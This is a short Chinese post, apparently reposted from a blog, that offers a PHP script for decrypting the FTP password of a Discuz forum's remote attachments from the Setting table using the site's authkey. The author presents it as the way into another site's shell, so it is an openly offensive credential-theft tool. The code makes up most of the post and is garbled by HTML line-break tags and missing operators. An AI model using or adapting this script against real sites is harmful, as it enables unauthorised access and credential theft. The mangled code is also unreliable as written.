某重口味站点日shell.唯一突破点是FTP...于是乎提取整理出了如下代码。。。大牛可以飘过。。。
修改并执行以下程序即可获得Discuz 远程附件的FTP密码
<?php<br />
$authkey='XXXXXXXXXXXXXXXXXXXX'//Setting表里有存,有备份数据的权限时候可以down回来看看<br />
$discuz_auth_key md5($authkey.$_SERVER['HTTP_USER_AGENT']);<br />
$string='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';//这个是Setting表里存放的FTP Password处的加密字符串<br />
$password authcode($string'DECODE'md5($authkey));<br />
echo 
$password;<br />
function 
authcode($string$operation 'DECODE'$key ''$expiry 0) {<br />
    
$ckey_length 4;<br />
    
$key md5($key $key $discuz_auth_key);<br />
    
$keya md5(substr($key016));<br />
    
$keyb md5(substr($key1616));<br />
    
$keyc $ckey_length ? ($operation == 'DECODE' substr($string0$ckey_length): substr(md5(microtime()), -$ckey_length)) : '';<br />
    
$cryptkey $keya.md5($keya.$keyc);<br />
    
$key_length strlen($cryptkey);<br />
<
br />
    
$string $operation == 'DECODE' base64_decode(substr($string$ckey_length)) : sprintf('%010d'$expiry $expiry time() : 0).substr(md5($string.$keyb), 016).$string;<br />
    
$string_length strlen($string);<br />
<
br />
    
$result '';<br />
    
$box range(0255);<br />
<
br />
    
$rndkey = array();<br />
    for(
$i 0$i <= 255$i++) {<br />
        
$rndkey[$i] = ord($cryptkey[$i $key_length]);<br />
    }<
br />
<
br />
    for(
$j $i 0$i 256$i++) {<br />
        
$j = ($j $box[$i] + $rndkey[$i]) % 256;<br />
        
$tmp $box[$i];<br />
        
$box[$i] = $box[$j];<br />
        
$box[$j] = $tmp;<br />
    }<
br />
<
br />
    for(
$a $j $i 0$i $string_length$i++) {<br />
        
$a = ($a 1) % 256;<br />
        
$j = ($j $box[$a]) % 256;<br />
        
$tmp $box[$a];<br />
        
$box[$a] = $box[$j];<br />
        
$box[$j] = $tmp;<br />
        
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));<br />
    }<
br />
<
br />
    if(
$operation == 'DECODE') {<br />
        if((
substr($result010) == || substr($result010) - time() > 0) && substr($result1016) == substr(md5(substr($result26).$keyb), 016)) {<br />
            return 
substr($result26);<br />
        } else {<
br />
            return 
'';<br />
        }<
br />
    } else {<
br />
        return 
$keyc.str_replace('='''base64_encode($result));<br />
    }<
br />
<
br />
}<
br />
?>


转自:http://www.5luyu.cn/article/jishu/811.htm